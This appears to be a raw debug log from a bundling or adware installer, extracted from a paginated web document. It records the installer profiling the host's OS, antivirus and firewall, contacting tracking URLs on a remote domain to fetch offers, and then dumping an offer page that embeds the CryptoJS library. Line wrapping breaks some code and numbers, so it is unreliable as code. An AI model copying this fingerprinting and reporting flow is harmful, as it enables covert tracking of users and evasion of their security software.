Anda di halaman 1dari 103

19:18:20 Start

19:18:20 SetUnhandledExceptionFilter
19:18:20 get payload
19:18:20 GET PAYLOAD OK
19:18:22 DoModal()
19:18:22 os
19:18:22 osname
19:18:22 sp
19:18:22 ar
19:18:22 net
19:18:22 av
19:18:22 fw
19:18:22 as
19:18:22 lan
19:18:23 OnInitDialog
19:18:23 Navigate2 to: about:blank
19:18:23 PropertyChangeExplorer1
19:18:23 BeforeNavigate2Explorer1
19:18:23 PropertyChangeExplorer1
19:18:23 DownloadCompleteExplorer1
19:18:23 InjectHtml
19:18:26 NavigateComplete2Explorer1
19:18:26 NavigateComplete2Explorer1
19:18:26 BeforeScriptExecuteExplorer1
19:18:26 DownloadCompleteExplorer1
19:18:27 DocumentCompleteExplorer1
19:18:27 externalTrace..postindex
19:18:30 addLog..{"publisher":"766","uid":"14240889487050DuWLyw0Ev","campaign":"
1808","extra":{"lpd":"www.dllsofti.com","ip":"114.125.42.244","tt":"a7a2774527e9
72974d8882a7499821dea4d91f77","requestHost":"ktdidqa9t0uz.9ugdsh4o.com","referer
":"","time":"2015/02/16 12:15:52","userAgent":"Mozilla/5.0 (Windows NT 6.3; rv:3
5.0) Gecko/20100101 Firefox/35.0","osVersion":"0","os":"unknown","browser":"ff"}
,"url":"","usedBrowser":"ff","sign":"dp1","caption":"","host":"domain.com","carr
ier":"MagnoPlayer"}
19:18:30 addLog..decrypted internal data
19:18:30 addLog..{"fraud":"","methods":[""],"os":"6.2","osname":"Microsoft Windo
ws 8.1 Enterprise","sp":"","ar":"x86","net":"4.0,1.1.4322,2.0.50727,3.0,3.5","av
":"Windows Defender|avast! Antivirus","fw":"","as":"Windows Defender|avast! Anti
virus","lan":"en","db":"ff"}
19:18:30 addLog..getting machine info
19:18:30 addLog..parsing winver
19:18:30 addLog..getting url
19:18:30 addLog..http://1abeeegr.9ugdsh4o.com/stan/api/766/1808/MagnoPlayer/EN/?
browser=ff
19:18:30 addLog..stan/api/766/1808/MagnoPlayer/EN/?browser=ff
19:18:31 addLog..api response succes
19:18:31 addLog..{"fraud":"","methods":[""],"os":"6.2","osname":"Microsoft Windo
ws 8.1 Enterprise","sp":"","ar":"x86","net":"4.0,1.1.4322,2.0.50727,3.0,3.5","av
":"avast! Antivirus","fw":null,"as":"avast! Antivirus","lan":"en","db":"ff","fav
":"Avast","ffw":null,"fas":"Avast"}
19:18:31 addLog..track url->http://1abeeegr.9ugdsh4o.com/kenny/trackMaxPowerColl
ector
19:18:31 addLog..track type->1
19:18:31 addLog..Tracked
19:18:31 addLog..Tracked->false
19:18:31 addLog..kenny/trackMaxPowerCollector
19:18:31 addLog..http://1abeeegr.9ugdsh4o.com/31a7cef1321714670e93a1ecb0b6bda3dc
b427e6fe1d30d70684cda99caab2202d6bb2c107c1f69a7bae3c8911ab637984d26227a819f9c2
19:18:31 addLog..object parsed
19:18:31 addLog..set initial states completed

19:18:33 Url different :about:blank


19:18:33 addLog..profile loaded
19:18:33 addLog..go forward
19:18:33 addLog..go forward
19:18:33 |25,117-159-154-153-149-134-135-127-173-140-62-182-186-118-168-95-194-1
95-196-290-309-316-318-320-321-308-323-324-342-349-353-354-357-359-360-361-346-3
62-363-364-365-367-260-368-369-371-372-376-341-383-384-385-387-392-395-397-411-4
13-414-420-423-426-434-435-439-440-441-442-443-445-448-452-455-456-457-458-459-4
60-462-463-464-469-470-125-251-412-474-473-476-478-479-480-482-485-487-224-488-4
89-492-494-495-498-499-508-509-510-511-515-516-517-518-519-521-523-380-527-407-5
32-533-535-536-402-537-304-538-539-540-541-542-543-544-545-142-72-156-160-164-16
9-202-211-215-228-231-239-245-252-255-261-266-268-269-272-275-276-277-281-292-29
9-302-315-317-322-334-337-343-339-345-355-358-366-148-374-375-390-389-388-394-39
6-398-405-404-409-410-417-418-424-427-428-433-438-449-453-444-477-401-491-496-49
7-502-503-504-505-506-512-514-528-529-530,0,51||54,139-146-316-318-359-360-369-3
71-372-448-452-289-155-189-258-298-319-326-328-348-381-382-393-402-403-407-459-4
60-462-467-470-480-485-489-498-499-508-519-520-523-533-535-536-537-538-539-540-5
41-543-544-61-241-244-278-283-288-290-300-286-312-313-330-338-356-370-385-395-42
3-430-432-441-446-450-333-352-364-436-484-495,1,11||124,146-196-278-290-302-309316-318-320-321-323-324-330-342-354-356-359-360-366-369-371-372-374-385-386-387388-286-313-395-413-414-417-419-428-435-448-456-457-459-460-462-467-470-480-485489-498-499-508-519-523-533-535-536-537-538-539-540-541-543-544-421,1,1||289,64199-204-130-117-48-62-140-16-106-88-91-94-71-73-74-75-77-98-203-137-183-214-78-1
02-149-90-153-139-147-57-7-201-209-159-85-92-97-116-101-104-129-157-123-79-162-2
18-6-8-52-119-131-145-192-184-221-181-49-19-191-17-109-81-100-63-179-154-134-6047-68-86-50-105-67-103-40-22-46-42-87-108-127-180-111-195-193-250-95-112-212-220
-230-257-128-84-216-146-248-89-150-136-144-66-187-163-161-219-185-20-26-21-18-23
8-152-83-2-56-138-168-205-93-158-194-4-225-53-242-186-234-254-188-196-114-76-23232-182-51-227-174-122-5-208-70-107-133-110-113-206-3-45-99-120-170-171-151-132165-143-237-82-118-173-175-43-15-58-59-35-1-141-135-207-44-172-69-65-217-176-177
-233-115-55-96-210-316-318-359-360-369-371-372-448-452-54-155-189-258-298-319-32
6-328-348-381-382-393-402-403-407-459-460-462-467-470-480-485-489-498-499-508-51
9-520-523-533-535-536-537-538-539-540-541-543-544-61-241-244-278-283-288-290-300
-286-312-313-330-338-356-370-385-395-423-430-432-441-446-450-333-352-364-436-484
-495,1,8||308,64-199-204-130-117-48-62-140-229-16-106-88-91-94-71-73-74-75-77-98
-285-203-137-183-214-270-294-295-296-297-78-102-228-149-90-153-252-139-147-57-7201-209-159-85-92-97-116-101-104-129-157-123-79-162-218-6-8-52-119-131-145-142-1
56-160-192-261-184-164-221-181-49-19-191-17-109-81-100-63-179-169-154-134-299-21
5-60-47-68-86-50-105-67-103-40-22-46-42-87-265-108-127-180-111-195-193-250-95-11
2-212-220-230-282-257-128-84-216-146-248-89-150-136-144-66-258-187-163-161-219-1
85-20-26-21-18-238-152-83-2-56-138-168-205-93-158-211-202-194-278-4-225-53-242-1
86-234-254-188-292-302-196-114-76-23-232-182-51-266-306-227-174-122-5-208-243-70
-107-133-268-110-113-206-3-45-99-120-170-171-151-283-298-132-165-143-237-82-275276-277-287-118-173-175-43-15-58-59-35-1-148-141-135-264-301-207-44-172-69-65-21
7-176-177-233-115-55-96-210-269-281-309-315-316-317-126-155-189-231-239-255-25925-80-121-249-262-322-323-324-325-326-328-339-340-341-342-345-347-348-349-350-35
4-355-358-359-360-253-366-369-371-372-373-374-376-377-379-381-386-387-388-382-31
9-393-402-403-407-410-413-414-417-418-419-415-428-435-448-456-457-459-460-462-72
-190-245-272-334-337-343-375-389-390-394-396-398-404-405-409-424-427-438-444-449
-463-467-470-466-412-480-485-489-490-476-477-478-491-498-499-401-488-496-497-501
-503-504-505-506-507-508-514-263-519-520-523-524-502-512-516-517-525-433-453-528
-533-535-536-537-538-539-540-541-542-543-544-125-251-260-329-331-361-365-422-431
-437-439-445-473-475-479-482-486-513-529-530-527,0,1||365,64-199-204-130-117-4862-140-16-106-88-91-94-71-73-74-75-77-98-203-137-328-348-183-214-294-295-296-297
-78-102-149-90-153-139-147-57-7-201-209-159-85-92-97-116-101-104-129-157-123-79162-218-6-8-52-119-131-145-192-184-221-181-49-19-191-17-109-81-100-63-179-154-13
4-60-47-68-86-50-105-318-67-103-40-22-46-42-87-108-127-180-111-195-193-250-95-11
2-212-220-230-257-128-84-216-146-248-89-326-150-136-144-66-258-187-163-161-219-1
85-20-26-21-18-238-152-83-2-56-138-168-205-93-158-194-4-225-53-242-186-234-254-1
88-189-196-114-76-23-232-182-51-227-174-122-5-208-70-107-360-133-110-113-206-3-4

5-99-120-170-171-151-298-132-165-143-237-82-316-155-118-173-175-43-15-58-59-35-1
-25-148-141-135-207-44-172-69-65-217-176-177-359-233-115-55-96-210-249-369-371-3
72-373-374-376-381-386-387-388-319-382-393-402-403-407-413-414-417-419-428-435-4
48-456-457-459-460-462-467-470-480-485-489-498-499-508-519-520-523-533-535-536-5
37-538-539-540-541-543-544-125-126-229-251-253-259-260-264-265-308-324-325-329-3
31-340-341-347-350-361-422-431-437-439-445-473-475-479-482-486-490-513,1,111||48
4,64-199-204-240-130-117-48-62-140-16-106-88-91-94-71-73-74-75-77-98-203-137-328
-348-183-214-294-295-296-297-78-102-149-90-153-139-147-57-7-201-209-159-85-92-97
-116-101-104-129-157-123-79-162-218-6-8-52-119-131-145-192-184-221-181-49-19-191
-17-109-81-100-63-179-154-134-60-47-68-86-50-105-318-67-103-40-22-46-42-87-108-1
27-319-382-180-111-195-193-250-95-112-212-220-230-257-128-84-216-146-248-89-326150-136-144-66-258-360-187-163-161-219-185-20-26-21-18-238-448-152-83-2-56-138-1
68-205-93-158-194-4-225-53-381-242-186-234-254-188-189-196-114-76-23-232-182-51227-174-122-393-402-403-5-208-70-107-133-110-113-206-3-45-99-120-170-171-151-372
-369-298-132-165-143-237-82-316-155-407-118-173-175-43-15-58-59-35-1-141-135-207
-44-172-69-65-217-176-177-359-233-115-371-55-96-210-485-489-498-499-508-519-520523-533-535-536-537-538-539-540-541-543-544-61-241-244-278-283-288-290-300-286-3
12-313-330-338-356-370-385-395-423-430-432-441-446-450-54-289-333-352-364-436-45
2-495,1,1||511,64-199-204-240-130-117-48-62-140-16-106-88-91-94-71-73-74-75-77-9
8-203-137-310-419-183-214-294-295-296-297-78-102-149-90-153-139-147-57-7-201-209
-159-85-92-97-116-101-104-129-157-123-79-162-218-6-8-52-119-131-145-192-184-221213-181-49-19-469-510-489-191-17-109-81-100-63-179-154-134-60-47-68-86-50-105-31
8-67-103-40-22-46-42-87-108-485-127-319-382-180-111-195-193-250-95-112-212-220-2
30-257-128-84-216-146-248-89-150-136-144-66-508-360-187-163-161-219-185-20-26-21
-18-238-448-152-83-499-2-56-138-168-205-93-158-480-194-4-225-53-242-186-234-254188-196-114-76-23-232-182-51-227-174-122-5-208-70-107-133-110-113-206-3-45-99-12
0-170-171-151-372-462-459-435-457-386-369-387-388-417-470-244-456-460-298-132-16
5-143-237-82-316-287-118-173-175-43-15-58-59-35-1-25-148-498-141-135-301-207-44172-69-65-217-176-177-233-115-371-55-96-210-281-519-523-224-280-376-380-409-410418-455-466-481-506-507-517-533-535-536-537-538-539-540-541-543-544-167-223-236243-247-267-291-336-354-358-375-384-390-425-429-471-472-512-401-515-514-516-275337-377-389-394-396-424-491-496-505-406-408-527-518-545,1,41|
19:18:33 Accepted
19:18:33
19:18:33 DownloadCompleteExplorer1
19:18:33 addLog..6.2
19:18:33 addLog..loaded offers display
19:18:34 addLog..group screen loaded
19:18:34 addLog..noelement->Next
19:18:34 addLog..noelement->Decline
19:18:34 addLog..noelement->undefined
19:18:34 addLog..noelement->Skip All
19:18:34 HTML-><html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta ht
tp-equiv="X-UA-Compatible" content="IE=Edge">
<meta http-equiv="Pragma" conte
nt="no-cache">
<meta http-equiv="Content-Type" content="text/html; charset=ut
f-8"> <link href="http://1abeeegr.9ugdsh4o.com/maxpower-static/templates/2014/1
1/0151e0a4-68fc-11e4-a1a7-06a3579b0dab/v2/css/style.css" rel="stylesheet" type="
text/css" tag="false"><link href="http://1abeeegr.9ugdsh4o.com/maxpower-static/a
pps/a2/68782/css/style.css" rel="stylesheet" type="text/css" tag="false"></head>
<body style="margin: 0px; width: 559px; height: 458px; overflow: hidden; curso
r: default; -ms-overflow-x: hidden; -ms-overflow-y: hidden;" onmousedown="return
false;" onselectstart="return false;" unselectable="on">
<script class="_all
owed" language="Javascript" type="text/javascript">/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
var CryptoJS = CryptoJS || function(u, p) {
var d = {},

l = d.lib = {},
s = function() {},
t = l.Base = {
extend: function(a) {
s.prototype = this;
var c = new s;
a && c.mixIn(a);
c.hasOwnProperty("init") || (c.init = function() {
c.$super.init.apply(this, arguments)
});
c.init.prototype = c;
c.$super = this;
return c
},
create: function() {
var a = this.extend();
a.init.apply(a, arguments);
return a
},
init: function() {},
mixIn: function(a) {
for (var c in a) a.hasOwnProperty(c) && (this[c] = a[c]);
a.hasOwnProperty("toString") && (this.toString = a.toString)
},
clone: function() {
return this.init.prototype.extend(this)
}
},
r = l.WordArray = t.extend({
init: function(a, c) {
a = this.words = a || [];
this.sigBytes = c != p ? c : 4 * a.length
},
toString: function(a) {
return (a || v).stringify(this)
},
concat: function(a) {
var c = this.words,
e = a.words,
j = this.sigBytes;
a = a.sigBytes;
this.clamp();
if (j % 4)
for (var k = 0; k < a; k++) c[j + k >>> 2] |= (e[k >>> 2] >>
> 24 - 8 * (k % 4) & 255) << 24 - 8 * ((j + k) % 4);
else if (65535 < e.length)
for (k = 0; k < a; k += 4) c[j + k >>> 2] = e[k >>> 2];
else c.push.apply(c, e);
this.sigBytes += a;
return this
},
clamp: function() {
var a = this.words,
c = this.sigBytes;
a[c >>> 2] &= 4294967295 <<
32 - 8 * (c % 4);
a.length = u.ceil(c / 4)
},
clone: function() {
var a = t.clone.call(this);

a.words = this.words.slice(0);
return a
},
random: function(a) {
for (var c = [], e = 0; e < a; e += 4) c.push(4294967296 * u.ran
dom() | 0);
return new r.init(c, a)
}
}),
w = d.enc = {},
v = w.Hex = {
stringify: function(a) {
var c = a.words;
a = a.sigBytes;
for (var e = [], j = 0; j < a; j++) {
var k = c[j >>> 2] >>> 24 - 8 * (j % 4) & 255;
e.push((k >>> 4).toString(16));
e.push((k & 15).toString(16))
}
return e.join("")
},
parse: function(a) {
for (var c = a.length, e = [], j = 0; j < c; j += 2) e[j >>> 3]
|= parseInt(a.substr(j,
2), 16) << 24 - 4 * (j % 8);
return new r.init(e, c / 2)
}
},
b = w.Latin1 = {
stringify: function(a) {
var c = a.words;
a = a.sigBytes;
for (var e = [], j = 0; j < a; j++) e.push(String.fromCharCode(c
[j >>> 2] >>> 24 - 8 * (j % 4) & 255));
return e.join("")
},
parse: function(a) {
for (var c = a.length, e = [], j = 0; j < c; j++) e[j >>> 2] |=
(a.charCodeAt(j) & 255) << 24 - 8 * (j % 4);
return new r.init(e, c)
}
},
x = w.Utf8 = {
stringify: function(a) {
try {
return decodeURIComponent(escape(b.stringify(a)))
} catch (c) {
throw Error("Malformed UTF-8 data");
}
},
parse: function(a) {
return b.parse(unescape(encodeURIComponent(a)))
}
},
q = l.BufferedBlockAlgorithm = t.extend({
reset: function() {
this._data = new r.init;
this._nDataBytes = 0
},
_append: function(a) {

"string" == typeof a && (a = x.parse(a));


this._data.concat(a);
this._nDataBytes += a.sigBytes
},
_process: function(a) {
var c = this._data,
e = c.words,
j = c.sigBytes,
k = this.blockSize,
b = j / (4 * k),
b = a ? u.ceil(b) : u.max((b | 0) - this._minBufferSize, 0);
a = b * k;
j = u.min(4 * a, j);
if (a) {
for (var q = 0; q < a; q += k) this._doProcessBlock(e, q);
q = e.splice(0, a);
c.sigBytes -= j
}
return new r.init(q, j)
},
clone: function() {
var a = t.clone.call(this);
a._data = this._data.clone();
return a
},
_minBufferSize: 0
});
l.Hasher = q.extend({
cfg: t.extend(),
init: function(a) {
this.cfg = this.cfg.extend(a);
this.reset()
},
reset: function() {
q.reset.call(this);
this._doReset()
},
update: function(a) {
this._append(a);
this._process();
return this
},
finalize: function(a) {
a && this._append(a);
return this._doFinalize()
},
blockSize: 16,
_createHelper: function(a) {
return function(b, e) {
return (new a.init(e)).finalize(b)
}
},
_createHmacHelper: function(a) {
return function(b, e) {
return (new n.HMAC.init(a,
e)).finalize(b)
}
}
});
var n = d.algo = {};

return d
}(Math);
(function() {
var u = CryptoJS,
p = u.lib.WordArray;
u.enc.Base64 = {
stringify: function(d) {
var l = d.words,
p = d.sigBytes,
t = this._map;
d.clamp();
d = [];
for (var r = 0; r < p; r += 3)
for (var w = (l[r >>> 2] >>> 24 - 8 * (r % 4) & 255) << 16 | (l[
r + 1 >>> 2] >>> 24 - 8 * ((r + 1) % 4) & 255) << 8 | l[r + 2 >>> 2] >>> 24 - 8
* ((r + 2) % 4) & 255, v = 0; 4 > v && r + 0.75 * v < p; v++) d.push(t.charAt(w
>>> 6 * (3 - v) & 63));
if (l = t.charAt(64))
for (; d.length % 4;) d.push(l);
return d.join("")
},
parse: function(d) {
var l = d.length,
s = this._map,
t = s.charAt(64);
t && (t = d.indexOf(t), -1 != t && (l = t));
for (var t = [], r = 0, w = 0; w <
l; w++)
if (w % 4) {
var v = s.indexOf(d.charAt(w - 1)) << 2 * (w % 4),
b = s.indexOf(d.charAt(w)) >>> 6 - 2 * (w % 4);
t[r >>> 2] |= (v | b) << 24 - 8 * (r % 4);
r++
}
return p.create(t, r)
},
_map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
"
}
})();
(function(u) {
function p(b, n, a, c, e, j, k) {
b = b + (n & a | ~n & c) + e + k;
return (b << j | b >>> 32 - j) + n
}
function d(b, n, a, c, e, j, k) {
b = b + (n & c | a & ~c) + e + k;
return (b << j | b >>> 32 - j) + n
}
function l(b, n, a, c, e, j, k) {
b = b + (n ^ a ^ c) + e + k;
return (b << j | b >>> 32 - j) + n
}
function s(b, n, a, c, e, j, k) {
b = b + (a ^ (n | ~c)) + e + k;
return (b << j | b >>> 32 - j) + n
}

for (var t = CryptoJS, r = t.lib, w = r.WordArray, v = r.Hasher, r = t.algo,


b = [], x = 0; 64 > x; x++) b[x] = 4294967296 * u.abs(u.sin(x + 1)) | 0;
r = r.MD5 = v.extend({
_doReset: function() {
this._hash = new w.init([1732584193, 4023233417, 2562383102, 2717338
78])
},
_doProcessBlock: function(q, n) {
for (var a = 0; 16 > a; a++) {
var c = n + a,
e = q[c];
q[c] = (e << 8 | e >>> 24) & 16711935 | (e << 24 | e >>> 8) & 42
78255360
}
var a = this._hash.words,
c = q[n + 0],
e = q[n + 1],
j = q[n + 2],
k = q[n + 3],
z = q[n + 4],
r = q[n + 5],
t = q[n + 6],
w = q[n + 7],
v = q[n + 8],
A = q[n + 9],
B = q[n + 10],
C = q[n + 11],
u = q[n + 12],
D = q[n + 13],
E = q[n + 14],
x = q[n + 15],
f = a[0],
m = a[1],
g = a[2],
h = a[3],
f = p(f, m, g, h, c, 7, b[0]),
h = p(h, f, m, g, e, 12, b[1]),
g = p(g, h, f, m, j, 17, b[2]),
m = p(m, g, h, f, k, 22, b[3]),
f = p(f, m, g, h, z, 7, b[4]),
h = p(h, f, m, g, r, 12, b[5]),
g = p(g, h, f, m, t, 17, b[6]),
m = p(m, g, h, f, w, 22, b[7]),
f = p(f, m, g, h, v, 7, b[8]),
h = p(h, f, m, g, A, 12, b[9]),
g = p(g, h, f, m, B, 17, b[10]),
m = p(m, g, h, f, C, 22, b[11]),
f = p(f, m, g, h, u, 7, b[12]),
h = p(h, f, m, g, D, 12, b[13]),
g = p(g, h, f, m, E, 17, b[14]),
m = p(m, g, h, f, x, 22, b[15]),
f = d(f, m, g, h, e, 5, b[16]),
h = d(h, f, m, g, t, 9, b[17]),
g = d(g, h, f, m, C, 14, b[18]),
m = d(m, g, h, f, c, 20, b[19]),
f = d(f, m, g, h, r, 5, b[20]),
h = d(h, f, m, g, B, 9, b[21]),
g = d(g, h, f, m, x, 14, b[22]),
m = d(m, g, h, f, z, 20, b[23]),
f = d(f, m, g, h, A, 5, b[24]),

h
g
m
f
h

=
=
=
=
=

d(h, f, m, g, E, 9, b[25]),
d(g, h, f, m, k, 14, b[26]),
d(m, g, h, f, v, 20, b[27]),
d(f, m, g, h, D, 5, b[28]),
d(h, f,
m, g, j, 9, b[29]),
g = d(g, h, f, m, w, 14, b[30]),
m = d(m, g, h, f, u, 20, b[31]),
f = l(f, m, g, h, r, 4, b[32]),
h = l(h, f, m, g, v, 11, b[33]),
g = l(g, h, f, m, C, 16, b[34]),
m = l(m, g, h, f, E, 23, b[35]),
f = l(f, m, g, h, e, 4, b[36]),
h = l(h, f, m, g, z, 11, b[37]),
g = l(g, h, f, m, w, 16, b[38]),
m = l(m, g, h, f, B, 23, b[39]),
f = l(f, m, g, h, D, 4, b[40]),
h = l(h, f, m, g, c, 11, b[41]),
g = l(g, h, f, m, k, 16, b[42]),
m = l(m, g, h, f, t, 23, b[43]),
f = l(f, m, g, h, A, 4, b[44]),
h = l(h, f, m, g, u, 11, b[45]),
g = l(g, h, f, m, x, 16, b[46]),
m = l(m, g, h, f, j, 23, b[47]),
f = s(f, m, g, h, c, 6, b[48]),
h = s(h, f, m, g, w, 10, b[49]),
g = s(g, h, f, m,
E, 15, b[50]),
m = s(m, g, h, f, r, 21, b[51]),
f = s(f, m, g, h, u, 6, b[52]),
h = s(h, f, m, g, k, 10, b[53]),
g = s(g, h, f, m, B, 15, b[54]),
m = s(m, g, h, f, e, 21, b[55]),
f = s(f, m, g, h, v, 6, b[56]),
h = s(h, f, m, g, x, 10, b[57]),
g = s(g, h, f, m, t, 15, b[58]),
m = s(m, g, h, f, D, 21, b[59]),
f = s(f, m, g, h, z, 6, b[60]),
h = s(h, f, m, g, C, 10, b[61]),
g = s(g, h, f, m, j, 15, b[62]),
m = s(m, g, h, f, A, 21, b[63]);
a[0] = a[0] + f | 0;
a[1] = a[1] + m | 0;
a[2] = a[2] + g | 0;
a[3] = a[3] + h | 0
},
_doFinalize: function() {
var b = this._data,
n = b.words,
a = 8 * this._nDataBytes,
c = 8 * b.sigBytes;
n[c >>> 5] |= 128 << 24 - c % 32;
var e = u.floor(a /
4294967296);
n[(c + 64 >>> 9 << 4) + 15] = (e << 8 | e >>> 24) & 16711935 | (e <<
24 | e >>> 8) & 4278255360;
n[(c + 64 >>> 9 << 4) + 14] = (a << 8 | a >>> 24) & 16711935 | (a <<
24 | a >>> 8) & 4278255360;
b.sigBytes = 4 * (n.length + 1);
this._process();

b = this._hash;
n = b.words;
for (a = 0; 4 > a; a++) c = n[a], n[a] = (c << 8 | c >>> 24) & 16711
935 | (c << 24 | c >>> 8) & 4278255360;
return b
},
clone: function() {
var b = v.clone.call(this);
b._hash = this._hash.clone();
return b
}
});
t.MD5 = v._createHelper(r);
t.HmacMD5 = v._createHmacHelper(r)
})(Math);
(function() {
var u = CryptoJS,
p = u.lib,
d = p.Base,
l = p.WordArray,
p = u.algo,
s = p.EvpKDF = d.extend({
cfg: d.extend({
keySize: 4,
hasher: p.MD5,
iterations: 1
}),
init: function(d) {
this.cfg = this.cfg.extend(d)
},
compute: function(d, r) {
for (var p = this.cfg, s = p.hasher.create(), b = l.create(), u
= b.words, q = p.keySize, p = p.iterations; u.length < q;) {
n && s.update(n);
var n = s.update(d).finalize(r);
s.reset();
for (var a = 1; a < p; a++) n = s.finalize(n), s.reset();
b.concat(n)
}
b.sigBytes = 4 * q;
return b
}
});
u.EvpKDF = function(d, l, p) {
return s.create(p).compute(d,
l)
}
})();
CryptoJS.lib.Cipher || function(u) {
var p = CryptoJS,
d = p.lib,
l = d.Base,
s = d.WordArray,
t = d.BufferedBlockAlgorithm,
r = p.enc.Base64,
w = p.algo.EvpKDF,
v = d.Cipher = t.extend({
cfg: l.extend(),
createEncryptor: function(e, a) {
return this.create(this._ENC_XFORM_MODE, e, a)

},
createDecryptor: function(e, a) {
return this.create(this._DEC_XFORM_MODE, e, a)
},
init: function(e, a, b) {
this.cfg = this.cfg.extend(b);
this._xformMode = e;
this._key = a;
this.reset()
},
reset: function() {
t.reset.call(this);
this._doReset()
},
process: function(e) {
this._append(e);
return this._process()
},
finalize: function(e) {
e && this._append(e);
return this._doFinalize()
},
keySize: 4,
ivSize: 4,
_ENC_XFORM_MODE: 1,
_DEC_XFORM_MODE: 2,
_createHelper: function(e) {
return {
encrypt: function(b, k, d) {
return ("string" == typeof k ? c : a).encrypt(e, b, k, d
)
},
decrypt: function(b, k, d) {
return ("string" == typeof k ? c : a).decrypt(e, b, k, d
)
}
}
}
});
d.StreamCipher = v.extend({
_doFinalize: function() {
return this._process(!0)
},
blockSize: 1
});
var b = p.mode = {},
x = function(e, a, b) {
var c = this._iv;
c ? this._iv = u : c = this._prevBlock;
for (var d = 0; d < b; d++) e[a + d] ^=
c[d]
},
q = (d.BlockCipherMode = l.extend({
createEncryptor: function(e, a) {
return this.Encryptor.create(e, a)
},
createDecryptor: function(e, a) {
return this.Decryptor.create(e, a)
},
init: function(e, a) {

this._cipher = e;
this._iv = a
}
})).extend();
q.Encryptor = q.extend({
processBlock: function(e, a) {
var b = this._cipher,
c = b.blockSize;
x.call(this, e, a, c);
b.encryptBlock(e, a);
this._prevBlock = e.slice(a, a + c)
}
});
q.Decryptor = q.extend({
processBlock: function(e, a) {
var b = this._cipher,
c = b.blockSize,
d = e.slice(a, a + c);
b.decryptBlock(e, a);
x.call(this,
e, a, c);
this._prevBlock = d
}
});
b = b.CBC = q;
q = (p.pad = {}).Pkcs7 = {
pad: function(a, b) {
for (var c = 4 * b, c = c - a.sigBytes % c, d = c << 24 | c << 16 |
c << 8 | c, l = [], n = 0; n < c; n += 4) l.push(d);
c = s.create(l, c);
a.concat(c)
},
unpad: function(a) {
a.sigBytes -= a.words[a.sigBytes - 1 >>> 2] & 255
}
};
d.BlockCipher = v.extend({
cfg: v.cfg.extend({
mode: b,
padding: q
}),
reset: function() {
v.reset.call(this);
var a = this.cfg,
b = a.iv,
a = a.mode;
if (this._xformMode == this._ENC_XFORM_MODE) var c = a.createEncrypt
or;
else c = a.createDecryptor, this._minBufferSize = 1;
this._mode = c.call(a,
this, b && b.words)
},
_doProcessBlock: function(a, b) {
this._mode.processBlock(a, b)
},
_doFinalize: function() {
var a = this.cfg.padding;
if (this._xformMode == this._ENC_XFORM_MODE) {
a.pad(this._data, this.blockSize);
var b = this._process(!0)

} else b = this._process(!0), a.unpad(b);


return b
},
blockSize: 4
});
var n = d.CipherParams = l.extend({
init: function(a) {
this.mixIn(a)
},
toString: function(a) {
return (a || this.formatter).stringify(this)
}
}),
b = (p.format = {}).OpenSSL = {
stringify: function(a) {
var b = a.ciphertext;
a = a.salt;
return (a ? s.create([1398893684,
1701076831
]).concat(a).concat(b) : b).toString(r)
},
parse: function(a) {
a = r.parse(a);
var b = a.words;
if (1398893684 == b[0] && 1701076831 == b[1]) {
var c = s.create(b.slice(2, 4));
b.splice(0, 4);
a.sigBytes -= 16
}
return n.create({
ciphertext: a,
salt: c
})
}
},
a = d.SerializableCipher = l.extend({
cfg: l.extend({
format: b
}),
encrypt: function(a, b, c, d) {
d = this.cfg.extend(d);
var l = a.createEncryptor(c, d);
b = l.finalize(b);
l = l.cfg;
return n.create({
ciphertext: b,
key: c,
iv: l.iv,
algorithm: a,
mode: l.mode,
padding: l.padding,
blockSize: a.blockSize,
formatter: d.format
})
},
decrypt: function(a, b, c, d) {
d = this.cfg.extend(d);
b = this._parse(b, d.format);
return a.createDecryptor(c, d).finalize(b.ciphertext)
},

_parse: function(a, b) {
return "string" == typeof a ? b.parse(a, this) : a
}
}),
p = (p.kdf = {}).OpenSSL = {
execute: function(a, b, c, d) {
d || (d = s.random(8));
a = w.create({
keySize: b + c
}).compute(a, d);
c = s.create(a.words.slice(b), 4 * c);
a.sigBytes = 4 * b;
return n.create({
key: a,
iv: c,
salt: d
})
}
},
c = d.PasswordBasedCipher = a.extend({
cfg: a.cfg.extend({
kdf: p
}),
encrypt: function(b, c, d, l) {
l = this.cfg.extend(l);
d = l.kdf.execute(d,
b.keySize, b.ivSize);
l.iv = d.iv;
b = a.encrypt.call(this, b, c, d.key, l);
b.mixIn(d);
return b
},
decrypt: function(b, c, d, l) {
l = this.cfg.extend(l);
c = this._parse(c, l.format);
d = l.kdf.execute(d, b.keySize, b.ivSize, c.salt);
l.iv = d.iv;
return a.decrypt.call(this, b, c, d.key, l)
}
})
}();
(function() {
for (var u = CryptoJS, p = u.lib.BlockCipher, d = u.algo, l = [], s = [], t
= [], r = [], w = [], v = [], b = [], x = [], q = [], n = [], a = [], c = 0; 256
> c; c++) a[c] = 128 > c ? c << 1 : c << 1 ^ 283;
for (var e = 0, j = 0, c = 0; 256 > c; c++) {
var k = j ^ j << 1 ^ j << 2 ^ j << 3 ^ j << 4,
k = k >>> 8 ^ k & 255 ^ 99;
l[e] = k;
s[k] = e;
var z = a[e],
F = a[z],
G = a[F],
y = 257 * a[k] ^ 16843008 * k;
t[e] = y << 24 | y >>> 8;
r[e] = y << 16 | y >>> 16;
w[e] = y << 8 | y >>> 24;
v[e] = y;
y = 16843009 * G ^ 65537 * F ^ 257 * z ^ 16843008 * e;
b[k] = y << 24 | y >>> 8;

x[k] =
q[k] =
n[k] =
e ? (e

y << 16 | y >>> 16;


y << 8 | y >>> 24;
y;
= z ^ a[a[a[G ^ z]]], j ^= a[a[j]]) : e = j = 1

}
var H = [0, 1, 2, 4, 8,
16, 32, 64, 128, 27, 54
],
d = d.AES = p.extend({
_doReset: function() {
for (var a = this._key, c = a.words, d = a.sigBytes / 4, a = 4 *
((this._nRounds = d + 6) + 1), e = this._keySchedule = [], j = 0; j < a; j++)
if (j < d) e[j] = c[j];
else {
var k = e[j - 1];
j % d ? 6 < d && 4 == j % d && (k = l[k >>> 24] << 24 |
l[k >>> 16 & 255] << 16 | l[k >>> 8 & 255] << 8 | l[k & 255]) : (k = k << 8 | k
>>> 24, k = l[k >>> 24] << 24 | l[k >>> 16 & 255] << 16 | l[k >>> 8 & 255] << 8
| l[k & 255], k ^= H[j / d | 0] << 24);
e[j] = e[j - d] ^ k
}
c = this._invKeySchedule = [];
